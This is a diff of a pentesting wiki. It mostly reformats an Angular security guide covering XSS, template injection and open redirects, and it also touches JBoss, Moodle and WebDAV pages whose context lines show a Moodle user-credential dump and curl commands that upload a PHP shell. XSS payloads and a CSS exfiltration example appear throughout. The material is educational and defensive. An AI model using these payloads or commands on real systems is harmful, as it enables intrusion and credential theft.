-- [ ]  Sourcemap for scripts is disabled in the project configuration
+* [ ] Sourcemap for scripts is disabled in the project configuration
-- [ ]  Untrusted user input is always interpolated or sanitized before being used in templates
+* [ ] Untrusted user input is always interpolated or sanitized before being used in templates
-- [ ]  The user has no control over server-side or client-side templates
+* [ ] The user has no control over server-side or client-side templates
-- [ ]  Untrusted user input is sanitized using an appropriate security context before being trusted by the application
+* [ ] Untrusted user input is sanitized using an appropriate security context before being trusted by the application
-    - [ ]  `BypassSecurity*` methods are not used with untrusted input
+  * [ ] `BypassSecurity*` methods are not used with untrusted input
-- [ ]  Untrusted user input is not passed to Angular classes such as `ElementRef` , `Renderer2` and `Document`, or other JQuery/DOM sinks
+* [ ] Untrusted user input is not passed to Angular classes such as `ElementRef` , `Renderer2` and `Document`, or other JQuery/DOM sinks
 
-# What is Angular
+## What is Angular
 
 Angular is a powerful front-end framework that is widely used for building dynamic web applications. It is open-source and maintained by Google. One of the key features of Angular is its use of TypeScript, a typed superset of JavaScript that makes code easier to read, maintain, and debug.
 
 Angular's security mechanisms are designed to prevent common client-side vulnerabilities, including cross-site scripting (XSS) and open redirects. However, Angular can also be used on the server-side to generate static pages. Thus, the security of Angular should be considered from both sides.
 
-# Framework architecture
+## Framework architecture
 
 In order to better understand the Angular basics, let’s go through its essential concepts.
 
@@ -51,7 +51,7 @@ The Angular `Router` NgModule provides a service that lets you define a navigati
 
 For data or logic that isn't associated with a specific view, and that you want to share across components, you create a service class. A service class definition is immediately preceded by the `@Injectable()` decorator. The decorator provides the metadata that allows other providers to be injected as dependencies into your class. Dependency injection (DI) lets you keep your component classes lean and efficient. They don't fetch data from the server, validate user input, or log directly to the console; they delegate such tasks to services.
 
-# Sourcemap configuration
+## Sourcemap configuration
 
 Angular framework translates TypeScript files into JavaScript code by following `tsconfig.json` options and then builds a project with `angular.json` configuration. Looking at `angular.json` file, we observed an option to enable or disable a sourcemap. According to the Angular documentation, the default configuration has a sourcemap file enabled for scripts and is not hidden by default:
 
@@ -66,114 +66,109 @@ Angular framework translates TypeScript files into JavaScript code by following
 
 Generally, sourcemap files are utilized for debugging purposes as they map generated files to their original files. Therefore, it is not recommended to use them in a production environment. If sourcemaps are enabled, it improves the readability and aids in file analysis by replicating the original state of the Angular project. However, if they are disabled, a reviewer can still analyze a compiled JavaScript file manually by searching for anti-security patterns.
 
-Furthemore, a compiled JavaScript file with an Angular project can be found in the browser developer tools → Sources (or Debugger and Sources) → [id].main.js. Depending on the enabled options, this file may contain the following row in the end `//# sourceMappingURL=[id].main.js.map` or it may not, if the **hidden** option is set to **true**. Nonetheless, if the sourcemap is disabled for **scripts**, testing becomes more complex, and we cannot obtain the file. In addition, sourcemap can be enabled during project build like `ng build --source-map`.
+Furthemore, a compiled JavaScript file with an Angular project can be found in the browser developer tools → Sources (or Debugger and Sources) → \[id].main.js. Depending on the enabled options, this file may contain the following row in the end `//# sourceMappingURL=[id].main.js.map` or it may not, if the **hidden** option is set to **true**. Nonetheless, if the sourcemap is disabled for **scripts**, testing becomes more complex, and we cannot obtain the file. In addition, sourcemap can be enabled during project build like `ng build --source-map`.
 
-# Data binding
+## Data binding
 
 Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.
 
 We can classify binding by data flow:
 
-- Data source to view target (includes *interpolation*, *properties*, *attributes*, *classes* and *styles*); can be applied by using `[]` or `{{}}` in template;
+* Data source to view target (includes _interpolation_, _properties_, _attributes_, _classes_ and _styles_); can be applied by using `[]` or `{{}}` in template;
-- View target to data source (includes *events*); can be applied by using `()` in template;
+* View target to data source (includes _events_); can be applied by using `()` in template;
-- Two-Way; can be applied by using `[()]` in template.
+* Two-Way; can be applied by using `[()]` in template.
 
 Binding can be called on properties, events, and attributes, as well as on any public member of a source directive:
 
-| TYPE     | TARGET            | EXAMPLES |
+| TYPE      | TARGET                                                   | EXAMPLES                                                             |
-| -------- | ----------------- | -------- |
+| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
-| Property | Element property, Component property, Directive property | <img [alt]="hero.name" [src]="heroImageUrl"> |
+| Property  | Element property, Component property, Directive property | \<img \[alt]="hero.name" \[src]="heroImageUrl">                      |
-| Event | Element event, Component event, Directive event | <button type="button" (click)="onSave()">Save</button> |
+| Event     | Element event, Component event, Directive event          | \<button type="button" (click)="onSave()">Save                       |
-| Two-way | Event and property | <input [(ngModel)]="name"> |
+| Two-way   | Event and property                                       | \<input \[(ngModel)]="name">                                         |
-| Attribute | Attribute (the exception) | <button type="button" [attr.aria-label]="help">help</button> |
+| Attribute | Attribute (the exception)                                | \<button type="button" \[attr.aria-label]="help">help                |
-| Class | class property | <div [class.special]="isSpecial">Special</div> |
+| Class     | class property                                           | \<div \[class.special]="isSpecial">Special                           |
-| Style | style property | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
+| Style     | style property                                           | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
 
-# Angular security model
+## Angular security model
 
 Angular's design includes encoding or sanitization of all data by default, making it increasingly difficult to discover and exploit XSS vulnerabilities in Angular projects. There are two distinct scenarios for data handling:
 
-1. Interpolation or `{{user_input}}`- performs context-sensitive encoding and interprets user input as text;
+1.  Interpolation or `{{user_input}}`- performs context-sensitive encoding and interprets user input as text;
-    
+
     ```jsx
     //app.component.ts
     test = "<script>alert(1)</script><h1>test</h1>";
-    
+
     //app.component.html
     {{test}}
     ```
-    
+
     Result: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
-    
+2.  Binding to properties, attributes, classes and styles or `[attribute]="user_input"` - performs sanitization based on the provided security context.
-2. Binding to properties, attributes, classes and styles or `[attribute]="user_input"` - performs sanitization based on the provided security context.
+
-    
     ```jsx
     //app.component.ts
     test = "<script>alert(1)</script><h1>test</h1>";
-    
+
     //app.component.html
     <div [innerHtml]="test"></div>
     ```
-    
+
     Result: `<div><h1>test</h1></div>`
-    
 
 There are 6 types of `SecurityContext` :
 
-- `None`;
+* `None`;
-- `HTML` is used, when interpreting value as HTML;
+* `HTML` is used, when interpreting value as HTML;
-- `STYLE` is used, when binding CSS into the `style` property;
+* `STYLE` is used, when binding CSS into the `style` property;
-- `URL` is used for URL properties, such as `<a href>`;
+* `URL` is used for URL properties, such as `<a href>`;
-- `SCRIPT` is used for JavaScript code;
+* `SCRIPT` is used for JavaScript code;
-- `RESOURCE_URL` as a URL that is loaded and executed as code, for example, in `<script src>`.
+* `RESOURCE_URL` as a URL that is loaded and executed as code, for example, in `<script src>`.
 
-# Vulnerabilities
+## Vulnerabilities
 
-## Bypass Security Trust methods
+### Bypass Security Trust methods
 
 The Angular introduces a list of methods to bypass its default sanitization process and to indicate that a value can be used safely in a specific context, as in the following five examples:
 
-1. `bypassSecurityTrustUrl` is used to indicate the given value is a safe style URL:
+1.  `bypassSecurityTrustUrl` is used to indicate the given value is a safe style URL:
-    
+
     ```jsx
     //app.component.ts
     this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
-    
+
     //app.component.html
     <a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
-    
+
     //result
     <a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
     ```
-    
+2.  `bypassSecurityTrustResourceUrl` is used to indicate the given value is a safe resource URL:
-2. `bypassSecurityTrustResourceUrl` is used to indicate the given value is a safe resource URL:
+
-    
     ```jsx
     //app.component.ts
     this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
-    
+
     //app.component.html
     <iframe [src]="trustedResourceUrl"></iframe>
-    
+
     //result
     <img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
     ```
-    
+3.  `bypassSecurityTrustHtml` is used to indicate the given value is safe HTML. Note that inserting `script` elements into the DOM tree in this way will not cause them to execute the enclosed JavaScript code, because of how these elements are added to the DOM tree.
-3. `bypassSecurityTrustHtml` is used to indicate the given value is safe HTML. Note that inserting `script` elements into the DOM tree in this way will not cause them to execute the enclosed JavaScript code, because of how these elements are added to the DOM tree.
+
-    
     ```jsx
     //app.component.ts
     this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
-    
+
     //app.component.html
     <p style="border:solid" [innerHtml]="trustedHtml"></p>
-    
+
     //result
     <h1>html tag</h1>
     <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
     ```
-    
+4.  `bypassSecurityTrustScript` is used to indicate the given value is safe JavaScript. However, we found its behavior to be unpredictable, because we couldn’t to execute JS code in templates using this method.
-4. `bypassSecurityTrustScript` is used to indicate the given value is safe JavaScript. However, we found its behavior to be unpredictable, because we couldn’t to execute JS code in templates using this method.
 
     ```jsx
     //app.component.ts
@@ -185,8 +180,7 @@ The Angular introduces a list of methods to bypass its default sanitization proc
     //result
     -
     ```
-
+5.  `bypassSecurityTrustStyle` is used to indicate the given value is safe CSS. The following example illustrates CSS injection:
-1. `bypassSecurityTrustStyle` is used to indicate the given value is safe CSS. The following example illustrates CSS injection:
 
     ```jsx
     //app.component.ts
@@ -199,9 +193,9 @@ The Angular introduces a list of methods to bypass its default sanitization proc
     Request URL: GET example.com/exfil/a
     ```
 
-Angular provides a `sanitize` method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with `SecurityContext.URL` on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could  lead to XSS vulnerabilities.
+Angular provides a `sanitize` method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with `SecurityContext.URL` on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.
 
-## HTML injection
+### HTML injection
 
 This vulnerability occurs when user input is bound to any of the three properties: `innerHTML`, `outerHTML`, or `iframe` `srcdoc`. While binding to these attributes interprets HTML as it is, the input is sanitized using `SecurityContext.HTML`. Thus, HTML injection is possible, but cross-site scripting (XSS) is not.
 
@@ -226,13 +220,13 @@ export class AppComponent{
 
 The result is `<div><h1>test</h1></div>`.
 
-## Template injection
+### Template injection
 
-### Client-Side Rendering (CSR)
+#### Client-Side Rendering (CSR)
 
 Angular leverages templates to construct pages dynamically. The approach entails enclosing template expressions for Angular to evaluate within double curly brackets (`{{}}`). In this way, the framework offers additional functionality. For instance, a template such as `{{1+1}}` would display as 2.
 
-Typically, Angular escapes user input that can be confused with template expressions (e.g., characters such as `< > ' " ``). It means that additional steps are required to circumvent this restriction, such as utilizing functions that generate JavaScript string objects to avoid using blacklisted characters. However, to achieve this, we must consider the Angular context, its properties, and variables. Therefore, a template injection attack may appear as follows:
+Typically, Angular escapes user input that can be confused with template expressions (e.g., characters such as \`< > ' " \`\`). It means that additional steps are required to circumvent this restriction, such as utilizing functions that generate JavaScript string objects to avoid using blacklisted characters. However, to achieve this, we must consider the Angular context, its properties, and variables. Therefore, a template injection attack may appear as follows:
 
 ```jsx
 //app.component.ts
@@ -245,17 +239,17 @@ const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
 
 As shown above: `constructor`refers to the scope of the Object `constructor` property, enabling us to invoke the String constructor and execute an arbitrary code.
 
-### Server-Side Rendering (SSR)
+#### Server-Side Rendering (SSR)
 
 Unlike CSR, which occurs in the browser’s DOM, Angular Universal is responsible for SSR of template files. These files are then delivered to the user. Despite this distinction, Angular Universal applies the same sanitization mechanisms used in CSR to enhance SSR security. A template injection vulnerability in SSR can be spotted in the same way as in CSR, because the used template language is the same.
 
 Of course, there also is a possibility of introducing new template injection vulnerabilities when employing third-party template engines such as Pug and Handlebars.
 
-## XSS
+### XSS
 
-### DOM interfaces
+#### DOM interfaces
 
-As previously stated, we can directly access the DOM using the *Document* interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.
+As previously stated, we can directly access the DOM using the _Document_ interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.
 
 We used the `document.write()` and `document.createElement()` methods in the examples below:
 
@@ -308,16 +302,16 @@ export class AppComponent{
 }
 ```
 
-### Angular classes
+#### Angular classes
 
-There are some classes that can be used to work with DOM elements in Angular: `ElementRef`, `Renderer2`, `Location` and `Document`. A detailed description of the last two classes is given in the **Open redirects** section. The main difference between the first two is that the `Renderer2` API provides a layer of abstraction between the DOM element and the component code, whereas `ElementRef` just holds a reference to the element. Therefore, according to Angular documentation, `ElementRef` API should only be used as a last resort when direct access to the DOM is needed. 
+There are some classes that can be used to work with DOM elements in Angular: `ElementRef`, `Renderer2`, `Location` and `Document`. A detailed description of the last two classes is given in the **Open redirects** section. The main difference between the first two is that the `Renderer2` API provides a layer of abstraction between the DOM element and the component code, whereas `ElementRef` just holds a reference to the element. Therefore, according to Angular documentation, `ElementRef` API should only be used as a last resort when direct access to the DOM is needed.
+
+*   `ElementRef` contains the property `nativeElement`, which can be used to manipulate the DOM elements. However, improper usage of `nativeElement` can result in an XSS injection vulnerability, as shown below:
 
-- `ElementRef` contains the property `nativeElement`, which can be used to manipulate the DOM elements. However, improper usage of `nativeElement` can result in an XSS injection vulnerability, as shown below:
-    
     ```tsx
     //app.component.ts
     import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
-    
+
     @Component({
       selector: 'app-root',
       templateUrl: './app.component.html',
@@ -333,13 +327,12 @@ There are some classes that can be used to work with DOM elements in Angular: `E
      }
     }
     ```
-    
+*   Despite the fact that `Renderer2` provides API that can safely be used even when direct access to native elements is not supported, it still has some security flaws. With `Renderer2`, it is possible to set attributes on an HTML element using the `setAttribute()` method, which has no XSS prevention mechanisms.
-- Despite the fact that `Renderer2` provides API that can safely be used even when direct access to native elements is not supported, it still has some security flaws. With `Renderer2`, it is possible to set attributes on an HTML element using the `setAttribute()` method, which has no XSS prevention mechanisms.
+
-    
     ```tsx
     //app.component.ts
     import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
-    
+
     @Component({
       selector: 'app-root',
       templateUrl: './app.component.html',
@@ -351,24 +344,23 @@ There are some classes that can be used to work with DOM elements in Angular: `E
         private renderer2: Renderer2
       ){}
       @ViewChild("img") img!: ElementRef;
-    
+
       addAttribute(){
         this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
         this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
      }
     }
-    
+
     //app.component.html
     <img #img>
     <button (click)="setAttribute()">Click me!</button>
     ```
-    
+*   To set the property of a DOM element, you can use `Renderer2.setProperty()` method and trigger an XSS attack:
-- To set the property of a DOM element, you can use `Renderer2.setProperty()` method and trigger an XSS attack:
+
-    
     ```tsx
     //app.component.ts
     import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
-    
+
     @Component({
       selector: 'app-root',
       templateUrl: './app.component.html',
@@ -380,31 +372,30 @@ There are some classes that can be used to work with DOM elements in Angular: `E
         private renderer2: Renderer2
       ){}
       @ViewChild("img") img!: ElementRef;
-    
+
       setProperty(){
         this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
      }
     }
-    
+
     //app.component.html
     <a #a></a>
     <button (click)="setProperty()">Click me!</button>
     ```
-    
 
 During our research, we also examined the behavior of other `Renderer2` methods, such as `setStyle()`, `createComment()`, and `setValue()`, in relation to XSS and CSS injections. However, we were unable to find any valid attack vectors for these methods due to their functional limitations.
 
-### jQuery
+#### jQuery
 
-jQuery is a fast, small, and feature-rich JavaScript library that can be used in the Angular project to help with manipulation the HTML DOM objects. However, as it is known, this library’s methods may be exploited to achieve an XSS vulnerability. In order to discuss how some vulnerable jQuery methods can be exploited in Angular projects, we added this subsection. 
+jQuery is a fast, small, and feature-rich JavaScript library that can be used in the Angular project to help with manipulation the HTML DOM objects. However, as it is known, this library’s methods may be exploited to achieve an XSS vulnerability. In order to discuss how some vulnerable jQuery methods can be exploited in Angular projects, we added this subsection.
+
+*   The `html()` method gets the HTML contents of the first element in the set of matched elements or sets the HTML contents of every matched element. However, by design, any jQuery constructor or method that accepts an HTML string can potentially execute code. This can occur by injection of `<script>` tags or use of HTML attributes that execute code as shown in the example.
 
-- The `html()` method gets the HTML contents of the first element in the set of matched elements or sets the HTML contents of every matched element. However, by design, any jQuery constructor or method that accepts an HTML string can potentially execute code. This can occur by injection of `<script>` tags or use of HTML attributes that execute code as shown in the example.
-    
     ```tsx
     //app.component.ts
     import { Component, OnInit } from '@angular/core';
     import * as $ from 'jquery';
-    
+
     @Component({
       selector: 'app-root',
       templateUrl: './app.component.html',
@@ -420,25 +411,24 @@ jQuery is a fast, small, and feature-rich JavaScript library that can be used in
         });
       }
     }
-    
+
     //app.component.html
     <button>Click me</button>
     <p>some text here</p>
     ```
-    
+*   The `jQuery.parseHTML()` method uses native methods to convert the string to a set of DOM nodes, which can then be inserted into the document.
-- The `jQuery.parseHTML()` method uses native methods to convert the string to a set of DOM nodes, which can then be inserted into the document.
+
-    
     ```tsx
     jQuery.parseHTML(data [, context ] [, keepScripts ])
     ```
-    
+
-    As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The `jQuery.parseHTML()` method does not run scripts in the parsed HTML unless `keepScripts` is explicitly `true`. However, it is still possible in most environments to execute scripts indirectly; for example, via the `<img onerror>` attribute. 
+    As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The `jQuery.parseHTML()` method does not run scripts in the parsed HTML unless `keepScripts` is explicitly `true`. However, it is still possible in most environments to execute scripts indirectly; for example, via the `<img onerror>` attribute.
-    
+
     ```tsx
     //app.component.ts
     import { Component, OnInit } from '@angular/core';
     import * as $ from 'jquery';
-    
+
     @Component({
       selector: 'app-root',
       templateUrl: './app.component.html',
@@ -458,22 +448,22 @@ jQuery is a fast, small, and feature-rich JavaScript library that can be used in
         });
       }
     }
-    
+
     //app.component.html
     <button>Click me</button>
     <p id="palias">some text</p>
     ```
-    
-## Open redirects
 
-### DOM interfaces
+### Open redirects
+
+#### DOM interfaces
 
 According to the W3C documentation, the `window.location` and `document.location` objects are treated as aliases in modern browsers. That is why they have similar implementation of some methods and properties, which might cause an open redirect and DOM XSS with `javascript://` schema attacks as mentioned below.
 
-- `window.location.href`(and `document.location.href`)
+*   `window.location.href`(and `document.location.href`)
-    
+
     The canonical way to get the current DOM location object is using `window.location`. It can also be used to redirect the browser to a new page. As a result, having control over this object allows us to exploit an open redirect vulnerability.
-    
+
     ```tsx
     //app.component.ts
     ...
@@ -482,17 +472,16 @@ According to the W3C documentation, the `window.location` and `document.location
           window.location.href = "https://google.com/about"
         }
     }
-    
+
     //app.component.html
     <button type="button" (click)="goToUrl()">Click me!</button>
     ```
-    
+
     The exploitation process is identical for the following scenarios.
-    
+*   `window.location.assign()`(and `document.location.assign()`)
-- `window.location.assign()`(and `document.location.assign()`)
+
-    
     This method causes the window to load and display the document at the URL specified. If we have control over this method, it might be a sink for an open redirect attack.
-    
+
     ```tsx
     //app.component.ts
     ...
@@ -502,13 +491,12 @@ According to the W3C documentation, the `window.location` and `document.location
         }
     }
     ```
-    
+*   `window.location.replace()`(and `document.location.replace()`)
-- `window.location.replace()`(and `document.location.replace()`)
+
-    
+    This method replaces the current resource with the one at the provided URL.
-    This method replaces the current resource with the one at the provided URL. 
+
-    
+    This differs from the `assign()` method is that after using `window.location.replace()`, the current page will not be saved in session History. However, it is also possible to exploit an open redirect vulnerability when we have control over this method.
-    This differs from the `assign()` method is that after using `window.location.replace()`, the current page will not be saved in session History. However, it is also possible to exploit an open redirect vulnerability when we have control over this method. 
+
-    
     ```tsx
     //app.component.ts
     ...
@@ -518,11 +506,10 @@ According to the W3C documentation, the `window.location` and `document.location
         }
     }
     ```
-    
+*   `window.open()`
-- `window.open()`
+
-    
+    The `window.open()` method takes a URL and loads the resource it identifies into a new or existing tab or window. Having control over this method might also be an opportunity to trigger an XSS or open redirect vulnerability.
-    The `window.open()` method takes a URL and loads the resource it identifies into a new or existing tab or window. Having control over this method might also be an opportunity to trigger an XSS or open redirect vulnerability. 
+
-    
     ```tsx
     //app.component.ts
     ...
@@ -533,15 +520,15 @@ According to the W3C documentation, the `window.location` and `document.location
     }
     ```
 
-### Angular classes
+#### Angular classes
+
+*   According to Angular documentation, Angular `Document` is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. `Document.location` properties and methods might be sinks for successful open redirect attacks as shown in the example:
 
-- According to Angular documentation, Angular `Document` is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. `Document.location` properties and methods might be sinks for successful open redirect attacks as shown in the example:
-    
     ```tsx
     //app.component.ts
     import { Component, Inject } from '@angular/core';
     import { DOCUMENT } from '@angular/common';
-    
+
     @Component({
       selector: 'app-root',
       templateUrl: './app.component.html',
@@ -549,23 +536,22 @@ According to the W3C documentation, the `window.location` and `document.location
     })
     export class AppComponent {
       constructor(@Inject(DOCUMENT) private document: Document) { }
-    
+
       goToUrl(): void {
           this.document.location.href = 'https://google.com/about';
       }
     }
-    
+
     //app.component.html
     <button type="button" (click)="goToUrl()">Click me!</button>
     ```
-    
+*   During the research phase, we also reviewed Angular `Location` class for open redirect vulnerabilities, but no valid vectors were found. `Location` is an Angular service that applications can use to interact with a browser's current URL. This service has several methods to manipulate the given URL - `go()` , `replaceState()`, and `prepareExternalUrl()`. However, we cannot use them for redirection to the external domain. For example:
-- During the research phase, we also reviewed Angular `Location` class for open redirect vulnerabilities, but no valid vectors were found. `Location` is an Angular service that applications can use to interact with a browser's current URL. This service has several methods to manipulate the given URL - `go()` ,  `replaceState()`, and `prepareExternalUrl()`. However, we cannot use them for redirection to the external domain. For example:
+
-    
     ```tsx
     //app.component.ts
     import { Component, Inject } from '@angular/core';
     import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
-    
+
     @Component({
       selector: 'app-root',
       templateUrl: './app.component.html',
@@ -582,48 +568,48 @@ According to the W3C documentation, the `window.location` and `document.location
       }
     }
     ```
-    
+
     Result: `http://localhost:4200/http://google.com/about`
-    
+*   The Angular `Router` class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:
-- The Angular `Router` class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:
+
-    
     ```jsx
     //app-routing.module.ts
     const routes: Routes = [
     { path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
     ```
-    
+
     Result: `http://localhost:4200/https:`
-    
+
     The following methods also navigate within the domain’s scope:
-    
+
     ```jsx
     const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
     this.router.navigate(['PATH'])
     this.router.navigateByUrl('URL')
     ```
-    
+
-# References
+## References
-- [Angular](https://angular.io/)
+
-- [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
+* [Angular](https://angular.io/)
-- [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
+* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
-- [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
+* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
-- [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
+* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
-- [Workspace and project file structure](https://angular.io/guide/file-structure)
+* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
-- [Introduction to components and templates](https://angular.io/guide/architecture-components)
+* [Workspace and project file structure](https://angular.io/guide/file-structure)
-- [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
+* [Introduction to components and templates](https://angular.io/guide/architecture-components)
-- [Binding syntax](https://angular.io/guide/binding-syntax)
+* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
-- [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
+* [Binding syntax](https://angular.io/guide/binding-syntax)
-- [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
+* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
-- [GitHub - angular/dom_security_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom_security_schema.ts)
+* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
-- [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
+* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
-- [Angular Universal](https://angular.io/guide/universal)
+* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
-- [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
+* [Angular Universal](https://angular.io/guide/universal)
-- [Angular ElementRef](https://angular.io/api/core/ElementRef)
+* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
-- [Angular Renderer2](https://angular.io/api/core/Renderer2)
+* [Angular ElementRef](https://angular.io/api/core/ElementRef)
-- [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
+* [Angular Renderer2](https://angular.io/api/core/Renderer2)
-- [jQuery API Documentation](http://api.jquery.com/)
+* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
-- [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
+* [jQuery API Documentation](http://api.jquery.com/)
-- [Angular Document](https://angular.io/api/common/DOCUMENT)
+* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
-- [Angular Location](https://angular.io/api/common/Location)
+* [Angular Document](https://angular.io/api/common/DOCUMENT)
-- [Angular Router](https://angular.io/api/router/Router)
+* [Angular Location](https://angular.io/api/common/Location)
+* [Angular Router](https://angular.io/api/router/Router)

network-services-pentesting/pentesting-web/jboss.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -40,7 +40,7 @@ You can expose **management servlets** via the following paths within JBoss (dep
 inurl:status EJInvokerServlet
 ```
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

network-services-pentesting/pentesting-web/moodle.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -120,7 +120,7 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
 /usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
 ```
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

network-services-pentesting/pentesting-web/put-method-webdav.md

@@ -1,6 +1,6 @@
 # WebDav
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -66,7 +66,7 @@ curl -T 'shell.txt' 'http://$ip'
 curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
